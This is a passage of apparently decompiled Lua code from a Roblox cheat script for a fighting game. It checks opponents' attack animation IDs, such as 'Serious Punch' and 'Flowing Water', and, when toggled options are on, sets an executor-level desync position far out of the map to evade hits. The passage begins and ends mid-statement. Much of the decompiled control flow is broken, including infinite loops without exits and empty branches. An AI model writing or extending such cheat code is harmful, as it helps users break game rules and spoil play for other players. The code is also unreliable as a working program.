then warn('[ANTI DEBUG] NORMAL PUNCH') end _Part2.CFrame = u1028.CFrame * CFrame.new(6, 0, -_Part2.Size.Z / 2 + 1.5) * CFrame.Angles(0, math.rad(-5), 0) _Part3.CFrame = u1028.CFrame * CFrame.new(-6, 0, -_Part3.Size.Z / 2 + 1.5) * CFrame.Angles(0, math.rad(5), 0) _Part4.CFrame = u1028.CFrame * CFrame.new(0, 0, -_Part4.Size.Z / 2 + 1.5) if (v1114 or (v1113 or v1112)) and not isCountering(u1092) then while true do if antidebug then warn('[ANTI DEBUG] NORMAL PUNCH') end _Part2.CFrame = u1028.CFrame * CFrame.new(6, 0, -_Part2.Size.Z / 2 + 1.5) * CFrame.Angles(0, math.rad(-5), 0) _Part3.CFrame = u1028.CFrame * CFrame.new(-6, 0, -_Part3.Size.Z / 2 + 1.5) * CFrame.Angles(0, math.rad(5), 0) _Part4.CFrame = u1028.CFrame * CFrame.new(0, 0, -_Part4.Size.Z / 2 + 1.5) getgenv().desync = { CFrame = CFrame.new(9000000000, 9000000000, 9000000000), } task.wait() if not (v1114 or (v1113 or v1112)) or (tick() >= v1111 + 0.8 or (not p1088.IsPlaying or isCountering(u1092))) then getgenv().desync = nil end end end end _RenderStepped:Wait() if tick() >= v1111 + 0.8 or not p1088.IsPlaying then getgenv().desync = nil _Part2:Destroy() _Part3:Destroy() _Part4:Destroy() local v1115, v1116, v1117 = pairs(v1100) while true do local v1118 v1117, v1118 = v1115(v1116, v1117) if v1117 == nil then break end v1118:Disconnect() end end end end if _AnimationId2:match('10466974800') and rawget(Options.AntiMoves_Saitama.Value, 'Anti Consecutive Punches') then local _Part5 = Instance.new('Part', _Workspace) _Part5.Anchored = true _Part5.Size = Vector3.new(12.5, 5, 12.5) _Part5.CanCollide = false _Part5.Transparency = 1 local u1120 = false local v1122 = _Part5.Touched:Connect(function(p1121) if p1121 == u1091 then u1120 = true end end) local v1124 = _Part5.TouchEnded:Connect(function(p1123) if p1123 == u1091 then u1120 = false end end) local v1125 = tick() local v1126 = u1120 while true do if true then if antidebug then warn('[ANTI DEBUG] CONSECUTIVE PUNCHES') end _Part5.CFrame = u1028.CFrame * CFrame.new(0, 0, -_Part5.Size.Z / 2) if v1126 == true and not isCountering(u1092) then while true do if antidebug then warn('[ANTI DEBUG] CONSECUTIVE PUNCHES') end _Part5.CFrame = u1028.CFrame * CFrame.new(0, 0, -_Part5.Size.Z / 2) getgenv().desync = { CFrame = CFrame.new(9000000000, 9000000000, 9000000000), } task.wait() if v1126 == false or (tick() >= v1125 + 1.5 or (not p1088.IsPlaying or isCountering(u1092))) then getgenv().desync = nil end end end end _RenderStepped:Wait() if tick() >= v1125 + 1.5 or not p1088.IsPlaying then getgenv().desync = nil if _Part5 then _Part5:Destroy() end v1122:Disconnect() v1124:Disconnect() end end end if _AnimationId2:match('10471336737') and rawget(Options.AntiMoves_Saitama.Value, 'Anti Shove') then local _Part6 = Instance.new('Part', _Workspace) _Part6.Anchored = true _Part6.Size = Vector3.new(7.5, 5, 7.5) _Part6.CanCollide = false _Part6.Transparency = 1 local u1128 = false local v1130 = _Part6.Touched:Connect(function(p1129) if p1129 == u1091 then u1128 = true end end) local v1132 = _Part6.TouchEnded:Connect(function(p1131) if p1131 == u1091 then u1128 = false end end) _Part6.CFrame = u1028.CFrame * CFrame.new(0, 0, -_Part6.Size.Z / 2) if _Value15 then task.wait() if u1128 and not isCountering(u1092) then bdcancel() end _Part6:Destroy() v1130:Disconnect() v1132:Disconnect() return end local v1133 = tick() local v1134 = u1128 while true do if true then if antidebug then warn('[ANTI DEBUG] SHOVE') end _Part6.CFrame = u1028.CFrame * CFrame.new(0, 0, -_Part6.Size.Z / 2) if v1134 ~= true or isCountering(u1092) then end while true do if antidebug then warn('[ANTI DEBUG] SHOVE') end _Part6.CFrame = u1028.CFrame * CFrame.new(0, 0, -_Part6.Size.Z / 2) getgenv().desync = { CFrame = CFrame.new(9000000000, 9000000000, 9000000000), } task.wait() if v1134 == false or (tick() >= v1133 + 0.5 or (not p1088.IsPlaying or isCountering(u1092))) then getgenv().desync = nil end end end _RenderStepped:Wait() if tick() >= v1133 + 0.5 or not p1088.IsPlaying then getgenv().desync = nil if _Part6 then _Part6:Destroy() end v1130:Disconnect() v1132:Disconnect() end end end if _AnimationId2:match('12510170988') and rawget(Options.AntiMoves_Saitama.Value, 'Anti Uppercut') then task.wait(0.25) if not p1088.IsPlaying then end local _Part7 = Instance.new('Part', _Workspace) _Part7.Anchored = true _Part7.Size = Vector3.new(10, 10, 10) _Part7.CanCollide = false _Part7.Transparency = 1 local u1136 = false local v1138 = _Part7.Touched:Connect(function(p1137) if p1137 == u1091 then u1136 = true end end) local v1140 = _Part7.TouchEnded:Connect(function(p1139) if p1139 == u1091 then u1136 = false end end) if _Value15 then task.wait(0.1) _Part7.CFrame = u1028.CFrame * CFrame.new(0, 0, -_Part7.Size.Z / 2) task.wait() if u1136 and not isCountering(u1092) then bdcancel() end _Part7:Destroy() v1138:Disconnect() v1140:Disconnect() return end local v1141 = tick() local v1142 = u1136 while true do if true then if antidebug then warn('[ANTI DEBUG] UPPERCUT') end _Part7.CFrame = u1028.CFrame * CFrame.new(0, 0, -_Part7.Size.Z / 2) if v1142 == true and not isCountering(u1092) then while true do if antidebug then warn('[ANTI DEBUG] UPPERCUT') end _Part7.CFrame = u1028.CFrame * CFrame.new(0, 0, -_Part7.Size.Z / 2) getgenv().desync = { CFrame = CFrame.new(9000000000, 9000000000, 9000000000), } task.wait() if v1142 == false or (tick() >= v1141 + 0.5 or (not p1088.IsPlaying or isCountering(u1092))) then getgenv().desync = nil end end end end _RenderStepped:Wait() if tick() >= v1141 + 0.5 or not p1088.IsPlaying then getgenv().desync = nil if _Part7 then _Part7:Destroy() end v1138:Disconnect() v1140:Disconnect() end end end if _AnimationId2:match('11343318134') and rawget(Options.AntiMoves_Saitama.Value, 'Anti Death Counter') then task.wait(7.5) local _Part8 = Instance.new('Part', _Workspace) _Part8.Anchored = true _Part8.Size = Vector3.new(125, 5, 500) _Part8.CanCollide = false _Part8.Transparency = 1 local _Part9 = Instance.new('Part', _Workspace) _Part9.Anchored = true _Part9.Size = Vector3.new(125, 5, 500) _Part9.CanCollide = false _Part9.Transparency = 1 local _Part10 = Instance.new('Part', _Workspace) _Part10.Anchored = true _Part10.Size = Vector3.new(125, 5, 500) _Part10.CanCollide = false _Part10.Transparency = 1 local u1146 = false local u1147 = false local u1148 = false local v1149 = {} table.insert(v1149, _Part8.Touched:Connect(function(p1150) if p1150 == u1091 then u1146 = true end end)) table.insert(v1149, _Part8.TouchEnded:Connect(function(p1151) if p1151 == u1091 then u1146 = false end end)) table.insert(v1149, _Part9.Touched:Connect(function(p1152) if p1152 == u1091 then u1147 = true end end)) table.insert(v1149, _Part9.TouchEnded:Connect(function(p1153) if p1153 == u1091 then u1147 = false end end)) table.insert(v1149, _Part10.Touched:Connect(function(p1154) if p1154 == u1091 then u1148 = true end end)) table.insert(v1149, _Part10.TouchEnded:Connect(function(p1155) if p1155 == u1091 then u1148 = false end end)) local v1156 = tick() local v1157 = u1148 local v1158 = u1147 local v1159 = u1146 while true do if true then if antidebug then warn('[ANTI DEBUG] DEATH COUNTER') end _Part8.CFrame = u1028.CFrame * CFrame.new(60, 0, -_Part8.Size.Z / 2 + 1.5) * CFrame.Angles(0, math.rad(-15), 0) _Part9.CFrame = u1028.CFrame * CFrame.new(-60, 0, -_Part9.Size.Z / 2 + 1.5) * CFrame.Angles(0, math.rad(15), 0) _Part10.CFrame = u1028.CFrame * CFrame.new(0, 0, -_Part10.Size.Z / 2 + 1.5) if not (v1159 or (v1158 or (v1157 or touchingMiddle))) then end while true do if antidebug then warn('[ANTI DEBUG] DEATH COUNTER') end _Part8.CFrame = u1028.CFrame * CFrame.new(60, 0, -_Part8.Size.Z / 2 + 1.5) * CFrame.Angles(0, math.rad(-15), 0) _Part9.CFrame = u1028.CFrame * CFrame.new(-60, 0, -_Part9.Size.Z / 2 + 1.5) * CFrame.Angles(0, math.rad(15), 0) _Part10.CFrame = u1028.CFrame * CFrame.new(0, 0, -_Part10.Size.Z / 2 + 1.5) getgenv().desync = { CFrame = CFrame.new(9000000000, 9000000000, 9000000000), } task.wait() if not (v1159 or (v1158 or (v1157 or touchingMiddle))) or (tick() >= v1156 + 2.5 or not p1088.IsPlaying) then getgenv().desync = nil end end end _RenderStepped:Wait() if tick() >= v1156 + 2.5 or not p1088.IsPlaying then getgenv().desync = nil _Part8:Destroy() _Part9:Destroy() _Part10:Destroy() local v1160, v1161, v1162 = pairs(v1149) while true do local v1163 v1162, v1163 = v1160(v1161, v1162) if v1162 == nil then break end v1163:Disconnect() end end end end if _AnimationId2:match('12272894215') and rawget(Options.AntiMoves_Garou.Value, 'Anti Flowing Water') then local _Part11 = Instance.new('Part', _Workspace) _Part11.Anchored = true _Part11.Size = Vector3.new(10, 5, 10) _Part11.CanCollide = false _Part11.Transparency = 1 local u1165 = false local v1167 = _Part11.Touched:Connect(function(p1166) if p1166 == u1091 then u1165 = true end end) local v1169 = _Part11.TouchEnded:Connect(function(p1168) if p1168 == u1091 then u1165 = false end end) if _Value15 then _Part11.CFrame = u1028.CFrame * CFrame.new(0, 0, -_Part11.Size.Z / 2) task.wait() if u1165 and not isCountering(u1092) then bdcancel() end _Part11:Destroy() v1167:Disconnect() v1169:Disconnect() return end local v1170 = tick() local v1171 = u1165 while true do if true then if antidebug then warn('[ANTI DEBUG] FLOWING WATER') end _Part11.CFrame = u1028.CFrame * CFrame.new(0, 0, -_Part11.Size.Z / 2) if v1171 ~= true or isCountering(u1092) then end while true do if antidebug then warn('[ANTI DEBUG] FLOWING WATER') end _Part11.CFrame = u1028.CFrame * CFrame.new(0, 0, -_Part11.Size.Z / 2) getgenv().desync = { CFrame = CFrame.new(9000000000, 9000000000, 9000000000), } task.wait() if v1171 == false or (tick() >= v1170 + 0.5 or (not p1088.IsPlaying or isCountering(u1092))) then getgenv().desync = nil end end end _RenderStepped:Wait() if tick() >= v1170 + 0.5 or not p1088.IsPlaying then getgenv().desync = nil if _Part11 then _Part11:Destroy() end v1167:Disconnect() v1169:Disconnect() end end end if _AnimationId2:match('12273188754') and rawget(Options.AntiMoves_Garou.Value, 'Anti Flowing Water') then local _Part12 = Instance.new('Part', _Workspace) _Part12.Anchored = true _Part12.Size = Vector3.new(15, 5, 15) _Part12.CanCollide = false _Part12.Transparency = 1 local u1173 = false local v1175 = _Part12.Touched:Connect(function(p1174) if p1174 == u1091 then u1173 = true end end) local v1177 = _Part12.TouchEnded:Connect(function(p1176) if p1176 == u1091 then u1173 = false end end) local v1178 = tick() local v1179 = u1173 while true do if true then if antidebug then warn('[ANTI DEBUG] FLOWING WATER HIT') end _Part12.CFrame = u1028.CFrame * CFrame.new(0, 0, -_Part12.Size.Z / 2) if v1179 ~= true or isCountering(u1092) then end while true do if antidebug then warn('[ANTI DEBUG] FLOWING WATER HIT') end _Part12.CFrame = u1028.CFrame * CFrame.new(0, 0, -_Part12.Size.Z / 2) getgenv().desync = { CFrame = CFrame.new(9000000000, 9000000000, 9000000000), } task.wait() if v1179 == false or (tick() >= v1178 + 2 or (not p1088.IsPlaying or isCountering(u1092))) then getgenv().desync = nil end end end _RenderStepped:Wait() if tick() >= v1178 + 2 or not p1088.IsPlaying then getgenv().desync = nil if _Part12 then _Part12:Destroy() end v1175:Disconnect() v1177:Disconnect() end end end if _AnimationId2:match('14374357351') and rawget(Options.AntiMoves_Garou.Value, 'Anti Flowing Water') then local _Part13 = Instance.new('Part', _Workspace) _Part13.Anchored = true _Part13.Size = Vector3.new(10, 5, 15) _Part13.CanCollide = false _Part13.Transparency = 1 local u1181 = false local v1183 = _Part13.Touched:Connect(function(p1182) if p1182 == u1091 then u1181 = true end end) local v1185 = _Part13.TouchEnded:Connect(function(p1184) if p1184 == u1091 then u1181 = false end end) local v1186 = tick() local v1187 = u1181 while true do if true then if antidebug then warn('[ANTI DEBUG] FLOWING WATER FINISHER') end _Part13.CFrame = u1028.CFrame * CFrame.new(0, 0, -_Part13.Size.Z / 2) if v1187 ~= true or isCountering(u1092) then end while true do if antidebug then warn('[ANTI DEBUG] FLOWING WATER FINISHER') end _Part13.CFrame = u1028.CFrame * CFrame.new(0, 0, -_Part13.Size.Z / 2) getgenv().desync = { CFrame = CFrame.new(9000000000, 9000000000, 9000000000), } task.wait() if v1187 == false or (tick() >= v1186 + 1.5 or (not p1088.IsPlaying or isCountering(u1092))) then getgenv().desync = nil end end end _RenderStepped:Wait() if tick() >= v1186 + 1.5 or not p1088.IsPlaying then getgenv().desync = nil if _Part13 then _Part13:Destroy() end v1183:Disconnect() v1185:Disconnect() task.wait(0.5) while true do if true then if antidebug then warn('[ANTI DEBUG] FLOWING WATER FINISHER') end if (u1091.Position - u1028.Position).Magnitude > 25 then end while true do if antidebug then warn('[ANTI DEBUG] FLOWING WATER FINISHER') end getgenv().desync = { CFrame = CFrame.new(9000000000, 9000000000, 9000000000), } task.wait() if (u1091.Position - u1028.Position).Magnitude > 25 or tick() >= v1186 + 2.75 then getgenv().desync = nil end end end task.wait() if tick() >= v1186 + 2.75 then getgenv().desync = nil end end end end end if _AnimationId2:match('12296882427') and rawget(Options.AntiMoves_Garou.Value, 'Anti Lethal Whirlwind Stream') then if _Value15 and ((u1091.Position - (u1028.CFrame * CFrame.new(0, 0, -2.5)).Position).Magnitude <= 10 and not isCountering(u1092)) then bdcancel() return end local v1188 = tick() while true do if true then if antidebug then warn('[ANTI DEBUG] LETHAL WHIRLWIND STREAM') end if (u1091.Position - (u1028.CFrame * CFrame.new(0, 0, -2.5)).Position).Magnitude > 10 or isCountering(u1092) then end while true do if antidebug then warn('[ANTI DEBUG] LETHAL WHIRLWIND STREAM') end getgenv().desync = { CFrame = CFrame.new(9000000000, 9000000000, 9000000000), } task.wait() if (u1091.Position - (u1028.CFrame * CFrame.new(0, 0, -2.5)).Position).Magnitude > 10 or (tick() >= v1188 + 0.5 or isCountering(u1092)) then getgenv().desync = nil end end end task.wait() if tick() >= v1188 + 0.5 then getgenv().desync = nil end end end if _AnimationId2:match('12296113986') and rawget(Options.AntiMoves_Garou.Value, 'Anti Lethal Whirlwind Stream') then task.delay(1.35, function() local v1189 = tick() while true do if antidebug then warn('[ANTI DEBUG] LETHAL WHIRLWIND STREAM HIT') end if (u1091.Position - u1028.Position).Magnitude <= 15 then break end task.wait() if tick() >= v1189 + 0.65 then getgenv().desync = nil return end end while true do if antidebug then warn('[ANTI DEBUG] LETHAL WHIRLWIND STREAM HIT') end getgenv().desync = { CFrame = CFrame.new(9000000000, 9000000000, 9000000000), } task.wait() if (u1091.Position - u1028.Position).Magnitude > 15 or tick() >= v1189 + 0.65 then getgenv().desync = nil end end end) local v1190 = tick() if (u1091.Position - u1028.Position).Magnitude > 15 then end while true do if antidebug then warn('[ANTI DEBUG] LETHAL WHIRLWIND STREAM HIT') end getgenv().desync = { CFrame = CFrame.new(9000000000, 9000000000, 9000000000), } task.wait() if tick() >= v1190 + 0.5 then getgenv().desync = nil end end end if _AnimationId2:match('14798608838') and rawget(Options.AntiMoves_Garou.Value, 'Anti Lethal Whirlwind Stream') then task.delay(0.75, function() local v1191 = tick() while true do if antidebug then warn('[ANTI DEBUG] LETHAL WHIRLWIND STREAM FINISHER') end if (u1091.Position - u1028.Position).Magnitude <= 25 then break end task.wait() if tick() >= v1191 + 0.75 then getgenv().desync = nil return end end while true do if antidebug then warn('[ANTI DEBUG] LETHAL WHIRLWIND STREAM FINISHER') end getgenv().desync = { CFrame = CFrame.new(9000000000, 9000000000, 9000000000), } task.wait() if (u1091.Position - u1028.Position).Magnitude > 25 or tick() >= v1191 + 0.75 then getgenv().desync = nil end end end) end if _AnimationId2:match('12307656616') and rawget(Options.AntiMoves_Garou.Value, 'Anti Hunters Grasp') then local v1192 = tick() while true do if true then if antidebug then warn('[ANTI DEBUG] HUNTERS GRASP') end if (u1091.Position - (u1028.CFrame * CFrame.new(0, 0, -2.5)).Position).Magnitude > 10 or isCountering(u1092) then end while true do if antidebug then warn('[ANTI DEBUG] HUNTERS GRASP') end getgenv().desync = { CFrame = CFrame.new(9000000000, 9000000000, 9000000000), } task.wait() if (u1091.Position - (u1028.CFrame * CFrame.new(0, 0, -2.5)).Position).Magnitude > 10 or (tick() >= v1192 + 0.35 or isCountering(u1092)) then getgenv().desync = nil end end end task.wait() if tick() >= v1192 + 0.35 then getgenv().desync = nil end end end if _AnimationId2:match('13603396939') and rawget(Options.AntiMoves_Garou.Value, 'Anti Preys Peril') then local v1193 = tick() while true do if true then if antidebug then warn('[ANTI DEBUG] 2') end if (u1091.Position - (u1028.CFrame * CFrame.new(0, 0, -1)).Position).Magnitude > 7.5 then end while true do if true then if antidebug then warn('[ANTI DEBUG] 2') end if isCountering(u1092) then end while true do if antidebug then warn('[ANTI DEBUG] 2') end getgenv().desync = { CFrame = CFrame.new(9000000000, 9000000000, 9000000000), } task.wait() if isCountering(u1092) or ((u1091.Position - (u1028.CFrame * CFrame.new(0, 0, -1)).Position).Magnitude > 7.5 or tick() >= v1193 + 2.5) then getgenv().desync = nil end end end task.wait() if (u1091.Position - (u1028.CFrame * CFrame.new(0, 0, -1)).Position).Magnitude > 7.5 or tick() >= v1193 + 2.5 then getgenv().desync = nil end end end task.wait() if tick() >= v1193 + 2.75 then getgenv().desync = nil end end end if _AnimationId2:match('16515850153') and rawget(Options.AntiMoves_Tatsumaki.Value, 'Anti Windstorm Fury') then task.spawn(function() if (u1091.Position - u1028.Position).Magnitude <= 15 then getgenv().desync = { CFrame = CFrame.new(9000000000, 9000000000, 9000000000), } end local _Dotted = u442:WaitForChild('Dotted', 1) if _Dotted then local _Dots = _Dotted:WaitForChild('Dots', 1) if not _Dots then end local v1196 = tick() if (u1091.Position - _Dots.Position).Magnitude > 20 then getgenv().desync = nil end while true do if true then if antidebug then warn('[ANTI DEBUG] 3') end if (u1091.Position - _Dots.Position).Magnitude > 20 or isDeathCountering(u1090) then end while true do if antidebug then warn('[ANTI DEBUG] 3') end getgenv().desync = { CFrame = CFrame.new(9000000000, 9000000000, 9000000000), } task.wait() if (u1091.Position - _Dots.Position).Magnitude > 20 or (tick() >= v1196 + 4.25 or isDeathCountering(u1090)) then getgenv().desync = nil end end end task.wait() if tick() >= v1196 + 4.25 then getgenv().desync = nil end end else if not _Dotted then getgenv().desync = nil end return end end) end if _AnimationId2:match('16431491215') and rawget(Options.AntiMoves_Tatsumaki.Value, 'Anti Stone Grave') then task.spawn(function() local v1197 = tick() while true do if antidebug then warn('[ANTI DEBUG] 4') end if (u1091.Position - (u1028.CFrame * CFrame.new(0, 0, -25)).Position).Magnitude <= 25 and not isCountering(u1092) then break end task.wait() if tick() >= v1197 + 0.75 then getgenv().desync = nil return end end while true do if antidebug then warn('[ANTI DEBUG] 4') end getgenv().desync = { CFrame = CFrame.new(9000000000, 9000000000, 9000000000), } task.wait() if (u1091.Position - (u1028.CFrame * CFrame.new(0, 0, -20)).Position).Magnitude > 25 or (tick() >= v1197 + 0.75 or isCountering(u1092)) then getgenv().desync = nil end end end) end if _AnimationId2:match('16597912086') and rawget(Options.AntiMoves_Tatsumaki.Value, 'Anti Expulsive Push') then local v1198 = tick() while true do if true then if antidebug then warn('[ANTI DEBUG] 5') end if (u1091.Position - u1028.Position).Magnitude > 15 or isCountering(u1092) then end while true do if antidebug then warn('[ANTI DEBUG] 5') end getgenv().desync = { CFrame = CFrame.new(9000000000, 9000000000, 9000000000), } task.wait() if (u1091.Position - u1028.Position).Magnitude > 15 or (tick() >= v1198 + 0.75 or isCountering(u1092)) then getgenv().desync = nil end end end task.wait() if tick() >= v1198 + 0.75 then getgenv().desync = nil end end end if _AnimationId2:match('13813955149') and Toggles.AntiMoves_Trashcan.Value then if (u1091.Position - u1028.Position).Magnitude <= 25 then if _Value15 then bdcancel() repeat task.wait() until tick() >= start + 2 else getgenv().desync = { CFrame = CFrame.new(9000000000, 9000000000, 9000000000), } task.wait(0.75) getgenv().desync = nil end end local u1199 = nil u1199 = u442.ChildAdded:Connect(function(p1200) if p1200:IsA('MeshPart') and p1200.Name:lower() == 'trash can' then u1199:Disconnect() local v1201 = tick() while true do if true then if antidebug then warn('[ANTI DEBUG] 6') end if (u1091.Position - p1200.Position).Magnitude > 25 then end if _Value15 then bdcancel() task.wait() if tick() < v1201 + 2 then end end while true do if antidebug then warn('[ANTI DEBUG] 6') end getgenv().desync = { CFrame = CFrame.new(9000000000, 9000000000, 9000000000), } task.wait() if (u1091.Position - p1200.Position).Magnitude > 25 or tick() >= v1201 + 2 then getgenv().desync = nil end end end task.wait() if tick() >= v1201 + 2 then getgenv().desync = nil end end else return end end) end if _AnimationId2:match('11365563255') and u1027:GetAttribute('Ulted') ~= nil then MoveNotify(p1018, 'Table Flip') task.delay(1, function() if u1027:FindFirstChild('AbsoluteImmortal', true) and u1027:FindFirstChild('Freeze') then task.wait(3) if not rawget(Options.AntiMoves_Saitama.Value, 'Anti Table Flip') then end local v1202 = tick() while true do if antidebug then warn('[ANTI DEBUG] 7') end getgenv().desync = { CFrame = CFrame.new(9000000000, 9000000000, 9000000000), } task.wait() if tick() >= v1202 + 2.5 then getgenv().desync = nil end end else return end end) end if _AnimationId2:match('12983333733') and u1027:GetAttribute('Ulted') ~= nil then MoveNotify(p1018, 'Serious Punch') task.delay(1, function() if u1027:FindFirstChild('AbsoluteImmortal', true) and u1027:FindFirstChild('Freeze') then task.wait(4.25) if not rawget(Options.AntiMoves_Saitama.Value, 'Anti Serious Punch') then end local v1203 = tick() while true do if antidebug then warn('[ANTI DEBUG] 8') end getgenv().desync = { CFrame = CFrame.new(9000000000, 9000000000, 9000000000), } task.wait() if tick() >= v1203 + 2 then getgenv().desync = nil end end else return end end) end if _AnimationId2:match('13927612951') and u1027:GetAttribute('Ulted') ~= nil then MoveNotify(p1018, 'Omni-Directional Punch') if not rawget(Options.AntiMoves_Saitama.Value, 'Anti Omni-Directional Punch') then end local v1204 = tick() while true do if true then if antidebug then warn('[ANTI DEBUG] 9') end if (u1091.Position - u1028.Position).Magnitude > 150 then end while true do if antidebug then warn('[ANTI DEBUG] 9') end getgenv().desync = { CFrame = CFrame.new(9000000000, 9000000000, 9000000000), } task.wait() if (u1091.Position - u1028.Position).Magnitude > 150 or tick() >= v1204 + 2.5 then getgenv().desync = nil end end end task.wait() if tick() >= v1204 + 2.5 then getgenv().desync = nil end end end if _AnimationId2:match('14719290328') and rawget(Options.AntiMoves_MetalBat.Value, 'Anti Savage Tornado') then if (u1091.Position - u1028.Position).Magnitude <= 50 then getgenv().desync = { CFrame = CFrame.new(9000000000, 9000000000, 9000000000), } end task.wait(0.5) if p1088.IsPlaying then local v1205 = tick() if (u1091.Position - u1028.Position).Magnitude > 50 then getgenv().desync = nil end while true do if true then if antidebug then warn('[ANTI DEBUG] 10') end if (u1091.Position - u1028.Position).Magnitude <= 50 and not isDeathCountering(u1090) then while true do if antidebug then warn('[ANTI DEBUG] 10') end getgenv().desync = { CFrame = CFrame.new(9000000000, 9000000000, 9000000000), } task.wait() if (u1091.Position - u1028.Position).Magnitude > 50 or (tick() >= v1205 + 3.5 or isDeathCountering(u1090)) then getgenv().desync = nil end end end end task.wait() if tick() >= v1205 + 3.5 then getgenv().desync = nil end end end if not p1088.IsPlaying then getgenv().desync = nil end end if _AnimationId2:match('17275150809') and rawget(Options.AntiMoves_Tatsumaki.Value, 'Anti Terrible Tornado') then local v1206 = tick() while true do if true then if antidebug then warn('[ANTI DEBUG] 11') end if (u1091.Position - u1028.Position).Magnitude > 50 then end while true do if antidebug then warn('[ANTI DEBUG] 11') end getgenv().desync = { CFrame = CFrame.new(9000000000, 9000000000, 9000000000), } task.wait() if (u1091.Position - u1028.Position).Magnitude > 50 or tick() >= v1206 + 1 then getgenv().desync = nil end end end task.wait() if tick() >= v1206 + 1 then getgenv().desync = nil end end end if _AnimationId2:match('15128849047') and rawget(Options.AntiMoves_MetalBat.Value, 'Anti Death Blow') then MoveNotify(p1018, 'Death Blow') local v1207 = tick() while true do if true then if antidebug then warn('[ANTI DEBUG] 12') end if (u1091.Position - u1028.Position).Magnitude > 100 then end while true do if antidebug then warn('[ANTI DEBUG] 12') end getgenv().desync = { CFrame = CFrame.new(9000000000, 9000000000, 9000000000), } task.wait() if (u1091.Position - u1028.Position).Magnitude > 100 or (isAnimPlaying(u1029, '15123665491') or tick() >= v1207 + 3) then getgenv().desync = nil end end end task.wait() if isAnimPlaying(u1029, '15123665491') or tick() >= v1207 + 3 then getgenv().desync = nil end end end if _AnimationId2:match('13376869471') and rawget(Options.AntiMoves_Sonic.Value, 'Anti Flash Strike') then local _Part14 = Instance.new('Part', _Workspace) _Part14.Anchored = true _Part14.Size = Vector3.new(10, 7.5, 60) _Part14.CanCollide = false _Part14.Transparency = 0 local u1209 = false local v1211 = _Part14.Touched:Connect(function(p1210) if p1210 == u1091 then u1209 = true end end) local v1213 = _Part14.TouchEnded:Connect(function(p1212) if p1212 == u1091 then u1209 = false end end) local v1214 = tick() local v1215 = u1209 while true do if true then if antidebug then warn('[ANTI DEBUG] FLASH STRIKE') end _Part14.CFrame = u1028.CFrame * CFrame.new(0, 0, -_Part14.Size.Z / 2) if v1215 == true and not isCountering(u1092) then while true do if antidebug then warn('[ANTI DEBUG] FLASH STRIKE') end _Part14.CFrame = u1028.CFrame * CFrame.new(0, 0, -_Part14.Size.Z / 2) getgenv().desync = { CFrame = CFrame.new(9000000000, 9000000000, 9000000000), } task.wait() if v1215 == false or (tick() >= v1214 + 0.8 or (not p1088.IsPlaying or isCountering(u1092))) then getgenv().desync = nil end end end end _RenderStepped:Wait() if tick() >= v1214 + 0.8 or not p1088.IsPlaying then getgenv().desync = nil if _Part14 then _Part14:Destroy() end v1211:Disconnect() v1213:Disconnect() end end end if _AnimationId2:match('13294790250') and rawget(Options.AntiMoves_Sonic.Value, 'Anti Whirlwind Kick') then task.wait(0.5) local v1216 = tick() while true do if true then if antidebug then warn('[ANTI DEBUG] WHIRLWIND KICK') end if (u1091.Position - (u1028.CFrame * CFrame.new(0, 0, -2.5)).Position).Magnitude <= 10 and not isCountering(u1092) then while true do if antidebug then warn('[ANTI DEBUG] WHIRLWIND KICK') end getgenv().desync = { CFrame = CFrame.new(9000000000, 9000000000, 9000000000), } task.wait() if (u1091.Position - (u1028.CFrame * CFrame.new(0, 0, -2.5)).Position).Magnitude > 10 or (tick() >= v1216 + 0.75 or isCountering(u1092)) then getgenv().desync = nil end end end end task.wait() if tick() >= v1216 + 0.75 then getgenv().desync = nil end end end if _AnimationId2:match('13632347366') and rawget(Options.AntiMoves_Sonic.Value, 'Anti Twinblade Rush') then local v1217 = tick() while true do if true then if antidebug then warn('[ANTI DEBUG] 13') end if (u1091.Position - u1028.Position).Magnitude <= 75 and not isDeathCountering(u1090) then while true do if antidebug then warn('[ANTI DEBUG] 13') end getgenv().desync = { CFrame = CFrame.new(9000000000, 9000000000, 9000000000), } task.wait() if (u1091.Position - u1028.Position).Magnitude > 75 or (not p1088.IsPlaying or (tick() >= v1217 + 1.75 or isDeathCountering(u1090))) then getgenv().desync = nil end end end end task.wait() if not p1088.IsPlaying or tick() >= v1217 + 1.75 then getgenv().desync = nil end end end if _AnimationId2:match('13881335713') and rawget(Options.AntiMoves_Sonic.Value, 'Anti Fourfold Flashstrike') then task.wait(0.75) if not p1088.IsPlaying then end local _Part15 = Instance.new('Part', _Workspace) _Part15.Anchored = true _Part15.Size = Vector3.new(35, 5, 60) _Part15.CanCollide = false _Part15.Transparency = 1 local u1219 = false local v1221 = _Part15.Touched:Connect(function(p1220) if p1220 == u1091 then u1219 = true end end) local v1223 = _Part15.TouchEnded:Connect(function(p1222) if p1222 == u1091 then u1219 = false end end) local v1224 = tick() local v1225 = u1219 while true do if true then if antidebug then warn('[ANTI DEBUG] FOURFOLD FLASHSTRIKE') end _Part15.CFrame = u1028.CFrame * CFrame.new(0, 0, -_Part15.Size.Z / 2) if v1225 == true and not isDeathCountering(u1090) then while true do if antidebug then warn('[ANTI DEBUG] FOURFOLD FLASHSTRIKE') end _Part15.CFrame = u1028.CFrame * CFrame.new(0, 0, -_Part15.Size.Z / 2) getgenv().desync = { CFrame = CFrame.new(9000000000, 9000000000, 9000000000), } task.wait() if v1225 == false or (tick() >= v1224 + 0.75 or (not p1088.IsPlaying or isDeathCountering(u1090))) then getgenv().desync = nil end end end end _RenderStepped:Wait() if tick() >= v1224 + 0.75 or not p1088.IsPlaying then getgenv().desync = nil if _Part15 then _Part15:Destroy() end v1221:Disconnect() v1223:Disconnect() end end end if _AnimationId2:match('13723174078') and rawget(Options.AntiMoves_Sonic.Value, 'Anti Carnage') then task.wait(0.5) if not p1088.IsPlaying then end local _Part16 = Instance.new('Part', _Workspace) _Part16.Anchored = true _Part16.Size = Vector3.new(35, 50, 250) _Part16.CanCollide = false _Part16.Transparency = 1 local u1227 = false local v1229 = _Part16.Touched:Connect(function(p1228) if p1228 == u1091 then u1227 = true end end) local v1231 = _Part16.TouchEnded:Connect(function(p1230) if p1230 == u1091 then u1227 = false end end) local v1232 = tick() local v1233 = u1227 while true do if true then if antidebug then warn('[ANTI DEBUG] CARNAGE') end _Part16.CFrame = u1028.CFrame * CFrame.new(0, -_Part16.Size.Y / 2, -_Part16.Size.Z / 2) if v1233 == true and not isDeathCountering(u1090) then while true do if antidebug then warn('[ANTI DEBUG] CARNAGE') end _Part16.CFrame = u1028.CFrame * CFrame.new(0, -_Part16.Size.Y / 2, -_Part16.Size.Z / 2) getgenv().desync = { CFrame = CFrame.new(9000000000, 9000000000, 9000000000), } task.wait() if v1233 == false or (tick() >= v1232 + 2.5 or (not p1088.IsPlaying or 